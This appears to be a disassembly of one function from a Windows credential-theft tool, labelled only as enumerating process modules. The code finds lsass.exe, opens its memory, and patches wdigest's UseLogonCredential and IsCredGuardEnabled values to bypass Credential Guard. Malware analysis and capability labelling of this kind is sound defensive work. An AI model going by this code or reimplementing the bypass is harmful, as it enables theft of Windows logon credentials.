Function at 0x140002950
Capabilities:
Enumerate process modules

Disassembly:
push rbp
push rbx
push r12
lea rbp, [rsp - 0x13e0]
mov eax, 0x14e0
call fcn.140024d10
sub rsp, rax
mov rax, qword [0x140049040]
xor rax, rsp
mov qword [rbp + 0x13d0], rax
xor r12d, r12d
mov dword [rsp + 0x50], 0x238
mov dword [rsp + 0x58], r12d
lea edx, [r12 + 1]
lea r8d, [r12 + 0x1e]
call fcn.140006d80
xor edx, edx
lea ecx, [rdx + 2]
call rax
mov rbx, rax
cmp rax, 0xffffffffffffffff
jne 0x1400029be
lea rcx, str.____Cred_Guard_bypass_failed:_impossible_to_get_snapshot_of_the_systems_processes__API_Kernel32__CreateToolhelp32Snapshot__
call fcn.140014530
lea eax, [rbx + 2]
jmp 0x140003088
mov edx, 1
mov r8d, 0x8b
call fcn.140006d80
lea rdx, [rsp + 0x50]
mov rcx, rbx
call rax
test eax, eax
jne 0x140002a05
lea rcx, str.____Cred_Guard_bypass_failed:_obtained_invalid_process_handle
call fcn.140014530
mov edx, 1
lea r8d, [rdx + 9]
call fcn.140006d80
mov rcx, rbx
call rax
mov eax, 1
jmp 0x140003088
mov qword [rsp + 0x1508], rdi
lea rdi, str.lsass.exe
nop dword [rax]
nop dword [rax + rax]
lea rdx, [rsp + 0x7c]
mov rax, r12
nop dword [rax + rax]
movzx ecx, word [rdx + rax*2]
cmp cx, word [rdi + rax*2]
jne 0x140002a52
movzx ecx, word [rdx + rax*2 + 2]
cmp cx, word [rdi + rax*2 + 2]
jne 0x140002a52
add rax, 2
cmp rax, 0xa
jne 0x140002a30
jmp 0x140002a70
mov edx, 1
mov r8d, 0x8d
call fcn.140006d80
lea rdx, [rsp + 0x50]
mov rcx, rbx
call rax
test eax, eax
jne 0x140002a20
mov edx, 1
lea r8d, [rdx + 9]
call fcn.140006d80
mov rcx, rbx
call rax
lea rdx, [rsp + 0x7c]
mov rcx, r12
nop dword [rax + rax]
movzx eax, word [rdx + rcx*2]
cmp ax, word [rdi + rcx*2]
jne 0x14000306f
movzx eax, word [rdx + rcx*2 + 2]
cmp ax, word [rdi + rcx*2 + 2]
jne 0x14000306f
add rcx, 2
cmp rcx, 0xa
jne 0x140002a90
cmp dword [rsp + 0x58], r12d
je 0x14000306f
lea edx, [rcx - 9]
lea r8d, [rcx + 0x76]
call fcn.140006d80
mov r8d, dword [rsp + 0x58]
xor edx, edx
mov ecx, 0x1fffff
call rax
mov rbx, rax
lea rcx, [rax - 1]
cmp rcx, 0xfffffffffffffffd
ja 0x14000304f
xor edx, edx
lea rcx, [rbp + 0x1c0]
mov r8d, 0x1000
call fcn.140006d50
lea r9, [rbp + 0x1a0]
mov r8d, 0x1000
lea rdx, [rbp + 0x1c0]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_K32EnumProcessModules]
test eax, eax
jne 0x140002b57
lea edx, [rax + 1]
lea r8d, [rax + 0x47]
call fcn.140006d80
call rax
mov edx, eax
lea rcx, str.____Cred_Guard_bypass_failed:_couldnt_enumerate_lsass_loaded_modules__EnumProcessModules__error_code_0x_lx__n
call fcn.140001010
mov edx, 1
lea r8d, [rdx + 9]
call fcn.140006d80
mov rcx, rbx
call rax
jmp 0x14000307b
test dword [rbp + 0x1a0], 0xfffffff8
mov qword [rsp + 0x1500], rsi
mov esi, r12d
mov qword [rsp + 0x1518], r15
mov r15d, r12d
jbe 0x140003027
mov qword [rsp + 0x1510], r14
nop word [rax + rax]
mov eax, esi
lea rdi, [rbp + 0x1c0]
mov rdx, qword [rdi + rax*8]
lea rdi, [rdi + rax*8]
test rdx, rdx
je 0x140002be4
mov r9d, 0x104
lea r8, [rbp + 0x11c0]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_K32GetModuleFileNameExW]
test eax, eax
jne 0x140002be4
lea edx, [rax + 1]
lea r8d, [rax + 0x47]
call fcn.140006d80
call rax
mov r8d, eax
lea rcx, str.____Cred_Guard_bypass_non_fatal_error:_couldnt_get_module_name_for_module_at_index_0x_lx__GetModuleFileNameEx__error_code_0x_lx__n
mov edx, esi
call fcn.140001010
jmp 0x140002f91
lea rdx, str.wdigest
lea rcx, [rbp + 0x11c0]
call fcn.14000b1b0
test rax, rax
je 0x140002f91
mov rdx, qword [rdi]
xor eax, eax
mov qword [rsp + 0x40], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x30], xmm0
test rdx, rdx
je 0x140002c51
lea r9d, [rax + 0x18]
mov rcx, rbx
lea r8, [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_K32GetModuleInformation]
test eax, eax
jne 0x140002c51
lea edx, [rax + 1]
lea r8d, [rax + 0x47]
call fcn.140006d80
call rax
mov r8d, eax
lea rcx, str.____Cred_Guard_bypass_non_fatal_error:_couldnt_get_module_information_for_module_at_index_0x_lx__GetModuleInformation__error_code_0x_lx__n
mov edx, esi
call fcn.140001010
jmp 0x140002f91
mov r14, qword [rsp + 0x30]
lea rcx, str.___Attempting_to_patch_wdigests_g_fParameter_UseLogonCredential_at_0x_I64x_n
mov rdi, qword [0x14006b0a0]
add rdi, r14
mov dword [rbp + 0x190], r12d
mov rdx, rdi
mov qword [rbp + 0x1a8], r12
mov qword [rbp + 0x1b8], r12
mov dword [rbp + 0x194], 1
call fcn.140001010
mov edx, 1
mov r8d, 0x95
call fcn.140006d80
lea rcx, [rbp + 0x1a8]
mov r9d, 4
mov qword [rsp + 0x20], rcx
lea r8, [rbp + 0x190]
mov rcx, rbx
mov rdx, rdi
call rax
test eax, eax
je 0x140003001
mov edx, dword [rbp + 0x190]
lea rcx, str.___Found_wdigests_g_fParameter_UseLogonCredential_with_a_current_value_of_0x_lx_n
call fcn.140001010
mov eax, dword [rbp + 0x194]
cmp dword [rbp + 0x190], eax
je 0x140002d83
mov edx, 1
mov r8d, 0xd8
call fcn.140006d80
lea rcx, [rbp + 0x1b8]
mov r9d, 4
mov qword [rsp + 0x20], rcx
lea r8, [rbp + 0x194]
mov rcx, rbx
mov rdx, rdi
call rax
mov edx, 1
test eax, eax
je 0x140002fa6
mov r8d, 0x95
call fcn.140006d80
lea rcx, [rbp + 0x1a8]
mov r9d, 4
mov qword [rsp + 0x20], rcx
lea r8, [rbp + 0x190]
mov rcx, rbx
mov rdx, rdi
call rax
mov edx, dword [rbp + 0x190]
mov r8d, dword [rbp + 0x194]
cmp edx, r8d
jne 0x140002d75
lea rcx, str.___Successfully_overwrote_wdigests_g_fParameter_UseLogonCredential_value_to_0x_lx_n
call fcn.140001010
jmp 0x140002d8f
lea rcx, str.____Cred_Guard_bypass_fatal_error:_unsuccessful_overwrite_of_wdigests_g_fParameter_UseLogonCredential_value__current_value_0x_lx_instead_of_0x_lx__n
call fcn.140001010
jmp 0x140002d8f
lea rcx, str.___wdigests_g_fParameter_UseLogonCredential_is_already_patched_
call fcn.140014530
lea rcx, [0x14002e84c]
call fcn.140014530
mov rdi, qword [0x14006b0a8]
lea rcx, str.___Attempting_to_patch_wdigests_g_IsCredGuardEnabled_at_0x_I64x_n
add rdi, r14
mov dword [rbp + 0x198], r12d
mov rdx, rdi
mov dword [rbp + 0x190], r12d
mov qword [rbp + 0x1a8], r12
mov qword [rbp + 0x1b8], r12
mov dword [rbp + 0x19c], r12d
call fcn.140001010
lea rcx, str.___Attempting_to_set_wdigests_g_IsCredGuardEnabled_memory_protection_as_PAGE_READWRITE
call fcn.140014530
mov edx, 1
mov r8d, 0xc5
call fcn.140006d80
lea rcx, [rbp + 0x19c]
mov r9d, 4
mov qword [rsp + 0x20], rcx
mov r8d, r9d
mov rcx, rbx
mov rdx, rdi
call rax
mov edx, 1
test eax, eax
je 0x140002feb
mov r8d, 0x95
call fcn.140006d80
lea rcx, [rbp + 0x1a8]
mov r9d, 4
mov qword [rsp + 0x20], rcx
lea r8, [rbp + 0x190]
mov rcx, rbx
mov rdx, rdi
call rax
test eax, eax
je 0x140002fd2
mov edx, dword [rbp + 0x190]
lea rcx, str.___Found_wdigests_g_IsCredGuardEnabled_with_a_current_value_of_0x_lx_n
call fcn.140001010
mov eax, dword [rbp + 0x198]
cmp dword [rbp + 0x190], eax
je 0x140002f0d
mov edx, 1
mov r8d, 0xd8
call fcn.140006d80
lea rcx, [rbp + 0x1b8]
mov r9d, 4
mov qword [rsp + 0x20], rcx
lea r8, [rbp + 0x198]
mov rcx, rbx
mov rdx, rdi
call rax
mov edx, 1
test eax, eax
je 0x140002fbc
mov r8d, 0x95
call fcn.140006d80
lea rcx, [rbp + 0x1a8]
mov r9d, 4
mov qword [rsp + 0x20], rcx
lea r8, [rbp + 0x190]
mov rcx, rbx
mov rdx, rdi
call rax
mov edx, dword [rbp + 0x190]
mov r8d, dword [rbp + 0x198]
cmp edx, r8d
jne 0x140002eff
lea rcx, str.___Successfully_overwrote_wdigests_g_IsCredGuardEnabled_value_to_0x_lx_n
call fcn.140001010
jmp 0x140002f19
lea rcx, str.____Cred_Guard_bypass_fatal_error:_unsuccessful_overwrite_of_wdigests_g_IsCredGuardEnabled_value__current_value_0x_lx_instead_of_0x_lx__n
call fcn.140001010
jmp 0x140002f19
lea rcx, str.___wdigests_g_IsCredGuardEnabled_is_already_patched_
call fcn.140014530
mov edx, 1
mov dword [rbp + 0x1b0], r12d
mov r8d, 0xc5
call fcn.140006d80
mov r9d, dword [rbp + 0x19c]
lea rcx, [rbp + 0x1b0]
mov qword [rsp + 0x20], rcx
mov r8d, 4
mov rcx, rbx
mov rdx, rdi
call rax
test eax, eax
jne 0x140002f73
lea edx, [rax + 1]
lea r8d, [rax + 0x47]
call fcn.140006d80
call rax
mov edx, eax
lea rcx, str.____Cred_Guard_bypass_non_fatal_error:_Failed_to_restore_wdigests_g_IsCredGuardEnabled_memory_protection_to_its_original_value__API_Kernel32__VirtualProtectEx___error_code_0x_lx__n
call fcn.140001010
jmp 0x140002f7f
lea rcx, str.___Successfully_restored_wdigests_g_IsCredGuardEnabled_memory_protection_to_its_original_value
call fcn.140014530
lea rcx, [0x14002e84c]
call fcn.140014530
mov r15d, 1
mov eax, dword [rbp + 0x1a0]
inc esi
shr eax, 3
cmp esi, eax
jb 0x140002b90
jmp 0x14000301f
mov r8d, 0x47
call fcn.140006d80
call rax
lea rcx, str.____Cred_Guard_bypass_fatal_error:_an_error_occurred_will_attempting_to_overwrite_wdigests_g_fParameter_UseLogonCredential_value__API_Kernel32__WriteProcessMemory___error_code_0x_lx__n
jmp 0x140003018
mov r8d, 0x47
call fcn.140006d80
call rax
lea rcx, str.____Cred_Guard_bypass_fatal_error:_an_error_occurred_will_attempting_to_overwrite_wdigests_g_IsCredGuardEnabled_value__API_Kernel32__WriteProcessMemory___error_code_0x_lx__n
jmp 0x140003018
mov edx, 1
lea r8d, [rdx + 0x46]
call fcn.140006d80
call rax
lea rcx, str.____Cred_Guard_bypass_fatal_error:_couldnt_retrieve_wdigests_g_IsCredGuardEnabled_value__API_Kernel32__ReadProcessMemory___error_code_0x_lx_._An_overwrite_will_not_be_attempted._n
jmp 0x140003018
mov r8d, 0x47
call fcn.140006d80
call rax
lea rcx, str.____Cred_Guard_bypass_fatal_error:_Failed_to_set_wdigests_g_IsCredGuardEnabled_memory_protection_to_PAGE_READWRITE__API_Kernel32__VirtualProtectEx___error_code_0x_lx__n
jmp 0x140003018
mov edx, 1
lea r8d, [rdx + 0x46]
call fcn.140006d80
call rax
lea rcx, str.____Cred_Guard_bypass_fatal_error:_couldnt_retrieve_wdigests_g_fParameter_UseLogonCredential_value__API_Kernel32__ReadProcessMemory___error_code_0x_lx_._An_overwrite_will_not_be_attempted._n
mov edx, eax
call fcn.140001010
mov r14, qword [rsp + 0x1510]
mov edx, 1
lea r8d, [rdx + 9]
call fcn.140006d80
mov rcx, rbx
call rax
mov rsi, qword [rsp + 0x1500]
mov eax, r15d
mov r15, qword [rsp + 0x1518]
jmp 0x140003080
mov edx, 1
lea r8d, [rdx + 0x46]
call fcn.140006d80
call rax
mov edx, eax
lea rcx, str.____Cred_Guard_bypass_failed:_couldnt_open_lsass_memory__API_Kernel32__OpenProcess___error_code_0x_lx__n
call fcn.140001010
jmp 0x14000307b
lea rcx, str.____Cred_Guard_bypass_failed:_coudlnt_find_LSASS_process
call fcn.140014530
mov eax, 1
mov rdi, qword [rsp + 0x1508]
mov rcx, qword [rbp + 0x13d0]
xor rcx, rsp
call fcn.14000a600
add rsp, 0x14e0
pop r12
pop rbx
pop rbp
ret